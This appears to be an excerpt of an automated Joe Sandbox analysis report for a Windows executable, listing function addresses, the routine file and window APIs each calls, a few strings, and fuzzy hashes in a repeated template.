Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: 81b122369233d7b8f515bb11307ece11792f2ae8c3e4e6e271921b1ee2b41d44
Instruction ID: 2b4ef10cce43d8e71f1f8daab8db07d23dd28a17db3dcf7dd27ca0142fd6fee4
Opcode Fuzzy Hash: 81b122369233d7b8f515bb11307ece11792f2ae8c3e4e6e271921b1ee2b41d44
Instruction Fuzzy Hash: 7D21A431A09A41D3EB20AF12E488239F3A2FB45B94F940534DB7D466C4CF2CD8C487A8

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D776C0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 178COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7F4D66288: FindClose.KERNELBASE(?,?,?,00007FF7F4D6FF61), ref: 00007FF7F4D662BD

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D779A3

Strings

W?f, xrefs: 00007FF7F4D777DB
W#b, xrefs: 00007FF7F4D777E9

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: CloseFind_invalid_parameter_noinfo_noreturn
String ID: W#b$W?f
API String ID: 1011579015-2742597119
Opcode ID: 352ae3d9a26d2a457df53a5ef33b8a5a4490cce2cfa98d381cf5629f47d6954f
Instruction ID: 519b314e613b1fc11e38e750dc82323920798dd298be7b9159939523e6b068d9
Opcode Fuzzy Hash: 352ae3d9a26d2a457df53a5ef33b8a5a4490cce2cfa98d381cf5629f47d6954f
Instruction Fuzzy Hash: 21812B21E2968687FB60BF16E8C4378B291BB85794F940576CB6C422D6DF6CF44183E0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D7D068 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26comCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7F4D6DC08: GetSystemDirectoryW.KERNEL32 ref: 00007FF7F4D6DC5F

OleInitialize.OLE32 ref: 00007FF7F4D7D082
SHGetMalloc.SHELL32 ref: 00007FF7F4D7D0D0

Strings

riched20.dll, xrefs: 00007FF7F4D7D071

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: DirectoryInitializeMallocSystem
String ID: riched20.dll
API String ID: 174490985-3360196438
Opcode ID: ce54fd95b305845c0f126beafaeebcdb2a2a85b3ca0306bee3d0e45aa5b04219
Instruction ID: 797f839d194f7ac071600dc4199e3eb4e96b4990cfa65afea742ccb35636e1da
Opcode Fuzzy Hash: ce54fd95b305845c0f126beafaeebcdb2a2a85b3ca0306bee3d0e45aa5b04219
Instruction Fuzzy Hash: C8F04471618A4583EB10AF51F4942AAF3A0FB44754F804135E79D427D4EF7CD148CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D64334 Relevance: 4.6, APIs: 3, Instructions: 114fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE ref: 00007FF7F4D643CF
CreateFileW.KERNEL32 ref: 00007FF7F4D6443C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D644D8

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: CreateFile$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2272807158-0
Opcode ID: 49bf7ce20726a0889fef4cdf1579c121035760373733be60429eb0e546bfa457
Instruction ID: 82e01e0e66e4252948f754015142c5b1daedaa7a99bf51d838197cf9b0eb1d16
Opcode Fuzzy Hash: 49bf7ce20726a0889fef4cdf1579c121035760373733be60429eb0e546bfa457
Instruction Fuzzy Hash: 7441C322608B8593EB10AF16E485269B3A1FB807B4F505334DFBD03AD5CF7CE4908754

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D61FF8 Relevance: 4.6, APIs: 3, Instructions: 73COMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32 ref: 00007FF7F4D6203E
GetWindowTextW.USER32 ref: 00007FF7F4D62076
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D62105

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: TextWindow$Length_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2176759853-0
Opcode ID: ec1e57a6202b58da56488acc7b812840dc01756244e031809576c21705179a55
Instruction ID: 4ef6d9cc6c20dea9d7956fd818784dcb7ded743335c9fc4a6643ae961b022436
Opcode Fuzzy Hash: ec1e57a6202b58da56488acc7b812840dc01756244e031809576c21705179a55
Instruction Fuzzy Hash: A9218162629B8582EB10AF66E48016EB364FB89BD0F545235EBAD03BD5DF3CD180C780

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D65FF4 Relevance: 4.6, APIs: 3, Instructions: 62COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(?,?,?,?,?,?,?,00000001,?,00007FF7F4D6FF31), ref: 00007FF7F4D6601E
SetFileAttributesW.KERNEL32 ref: 00007FF7F4D66070
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D660DA

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: AttributesFile$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1203560049-0
Opcode ID: 028a4167d2e2c338756a5db1a567916fab5ba0e441f1551a14ba84670f1114d1
Instruction ID: 7a1034131d6a196b941a417cadbe8fdb9308ba270489f014eb2684622a9ee545
Opcode Fuzzy Hash: 028a4167d2e2c338756a5db1a567916fab5ba0e441f1551a14ba84670f1114d1
Instruction Fuzzy Hash: 7321FB22B18B8593EB20AF16E4D526DB361FF88B94F904230EBAD427D5DF3CD544CA90

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D65790 Relevance: 4.6, APIs: 3, Instructions: 59fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(?,?,?,?,?,?,?,?,?,00007FF7F4D6FF72), ref: 00007FF7F4D657BB
DeleteFileW.KERNEL32 ref: 00007FF7F4D6580B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D65875

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: DeleteFile$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3118131910-0
Opcode ID: 24329dc93e2db74fbf3ff938c648f7867179324972ce2d94c87a74dabcd1ca8b
Instruction ID: 509b5aa51c8762e68ded3a291c65f27207c2e99d1ba5464164aef71f58ed9c7f
Opcode Fuzzy Hash: 24329dc93e2db74fbf3ff938c648f7867179324972ce2d94c87a74dabcd1ca8b
Instruction Fuzzy Hash: B721A922A19B85D3FB10AF26F4D516DB361FB84BD4F900234EBAD42AD5DF2CD5818650

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D65890 Relevance: 4.6, APIs: 3, Instructions: 57COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,?,?,?,?,?,?,?,00007FF7F4D65885,?,?,?,?,00007FF7F4D7001E), ref: 00007FF7F4D658BB
GetFileAttributesW.KERNELBASE ref: 00007FF7F4D65908
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D6596D

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: AttributesFile$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1203560049-0
Opcode ID: b758bb6361ebbd81519e6b315bcc9c417bc2b8f266a69be79ea9ec31804be294
Instruction ID: 48c188ca21aac1e369a3b3be7a267edf0108198034de0a3e507a392f3d42251b
Opcode Fuzzy Hash: b758bb6361ebbd81519e6b315bcc9c417bc2b8f266a69be79ea9ec31804be294
Instruction Fuzzy Hash: 87213722A18A8593FB10AF15F4D4169B361FB89BA4F900231EBBD437D5DF3CD5418750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D8F404 Relevance: 4.5, APIs: 3, Instructions: 19COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF7F4D8F3E8), ref: 00007FF7F4D8F42C
TerminateProcess.KERNEL32(?,?,?,00007FF7F4D8F3E8), ref: 00007FF7F4D8F437
ExitProcess.KERNEL32 ref: 00007FF7F4D8F446

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: dacd4d28ee892111b3df8d3e8b80cb264a15a7566b0b4340e23d5be73f25a806
Instruction ID: 89606d216e9e9134900eca0b4f007ad68a11d38fc3e63d274652f66fb49ce6e7
Opcode Fuzzy Hash: dacd4d28ee892111b3df8d3e8b80cb264a15a7566b0b4340e23d5be73f25a806
Instruction Fuzzy Hash: 79E01224B0430E83EB04BF26DCC16797352BF44B41F85543DCA2E423D6DE3DA44982E0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D722B0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 147COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D722EB

Strings

vector too long, xrefs: 00007FF7F4D7221C

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: vector too long
API String ID: 3668304517-2873823879
Opcode ID: 773ab534bfc342007c3e699b05ec78ac80692e862ae6a78e638b037e1d5712e3
Instruction ID: dd87c92bd2b7c84343c88244bdebf294bffd8e7dcc57e0a3f8c4b7733d165cbe
Opcode Fuzzy Hash: 773ab534bfc342007c3e699b05ec78ac80692e862ae6a78e638b037e1d5712e3
Instruction Fuzzy Hash: A761A072A29B8187E700AF62E8C02ADB7A4FB84754F505235EBA907BD5DF3CD490C790

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D76CF0 Relevance: 3.2, APIs: 2, Instructions: 170COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D76F87
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D76F8D

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 87fcb866617abeeb89e036a0e954f0777316bb9ab082f512a64afd7ce57831e1
Instruction ID: d794b7b2fb11e39a1e40cf40b4015007fa0ab09aeab5b6a6f344bfef5b2f6990
Opcode Fuzzy Hash: 87fcb866617abeeb89e036a0e954f0777316bb9ab082f512a64afd7ce57831e1
Instruction Fuzzy Hash: D4717162B25A4686FF10AF66D4C42ACB366BB44BA4F804136DB3D177D5EE3CE441C3A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D6491C Relevance: 3.1, APIs: 2, Instructions: 100COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000002,?,?), ref: 00007FF7F4D64A4D
GetLastError.KERNEL32(?,?), ref: 00007FF7F4D64A5C

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: afbb24ce4a808c86d9ab97423e5b5b7dbeb16d4b7f73d0bc2ed342d630b90402
Instruction ID: a7af5c10d1a9af8614ab60f0ae7a5c6eb9ab964225ee93bc3f90d4dabad44791
Opcode Fuzzy Hash: afbb24ce4a808c86d9ab97423e5b5b7dbeb16d4b7f73d0bc2ed342d630b90402
Instruction Fuzzy Hash: DD31E422B1A995E3EB60AE1BD5802B9B350BF05BD8F840136DF2D477D4DE2CD48187A4

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D747B8 Relevance: 3.1, APIs: 2, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7F4D66288: FindClose.KERNELBASE(?,?,?,00007FF7F4D6FF61), ref: 00007FF7F4D662BD

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D748F9
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D748FF

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$CloseFind
String ID:
API String ID: 3587649625-0
Opcode ID: cd826c2337f1601519bc394ad6d763ba4fbc40158b3eabc1632557615348f84e
Instruction ID: 92b873cf5b0da87aad826899394f399a2133c226d6ec03b743b85c1d5dac9336
Opcode Fuzzy Hash: cd826c2337f1601519bc394ad6d763ba4fbc40158b3eabc1632557615348f84e
Instruction Fuzzy Hash: 7141A322F25B8986FB00AF69D4813ACB362FF457A4F804635DB7C13AD9DE7C94808394

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D61EBC Relevance: 3.1, APIs: 2, Instructions: 83COMMON

Download Yara Rule

APIs

GetDlgItem.USER32 ref: 00007FF7F4D61EF1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D61FF0

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: Item_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1746051919-0
Opcode ID: 76f313465ef4a37b769d8a49e72558100e414d72335e328d96ea95efa135b55a
Instruction ID: 12b819b8218b1082164fc337b343154f06088ded69d392be87ee68fd79193d88
Opcode Fuzzy Hash: 76f313465ef4a37b769d8a49e72558100e414d72335e328d96ea95efa135b55a
Instruction Fuzzy Hash: 9931C522A19B4597EB10AF16E4853AEF365FB84790F844239E7AC07BD5DF7CE4408790

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D64C70 Relevance: 3.1, APIs: 2, Instructions: 76timeCOMMON

Download Yara Rule

APIs

FlushFileBuffers.KERNEL32 ref: 00007FF7F4D64C9E
SetFileTime.KERNELBASE ref: 00007FF7F4D64D3B

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: File$BuffersFlushTime
String ID:
API String ID: 1392018926-0
Opcode ID: a27d225e8ae50b9f2b92a99971c080e0e960c57784bde7d607fa2cb0c93f78b5
Instruction ID: 39407c0c0f1729fb74aea864766745059bd1cc137d49f532317eae5fae150f09
Opcode Fuzzy Hash: a27d225e8ae50b9f2b92a99971c080e0e960c57784bde7d607fa2cb0c93f78b5
Instruction Fuzzy Hash: 3A21BF22A09E46E2EB61AF53D4803B6B690AF41794F964231CF5C023D1EE3CD4D6C294

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D6AEE0 Relevance: 3.1, APIs: 2, Instructions: 52COMMON

Download Yara Rule

APIs

LoadStringW.USER32 ref: 00007FF7F4D6AF67
LoadStringW.USER32 ref: 00007FF7F4D6AF80

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: LoadString
String ID:
API String ID: 2948472770-0
Opcode ID: dedc9b699e454723cd5290fbfd2bbed97dba7cc30504e392eb1ac5c410963244
Instruction ID: 4ac0dcff30a81aa79c0920c414d0098870d6642049a0a4e11810c260e445fbc2
Opcode Fuzzy Hash: dedc9b699e454723cd5290fbfd2bbed97dba7cc30504e392eb1ac5c410963244
Instruction Fuzzy Hash: B9116765B18A0187E714AF0BE884168F7A1EB89FC0BD4443ADB6C833A1EF3CE54183D4

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D64D50 Relevance: 3.0, APIs: 2, Instructions: 47COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE ref: 00007FF7F4D64DB1
GetLastError.KERNEL32 ref: 00007FF7F4D64DBE

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
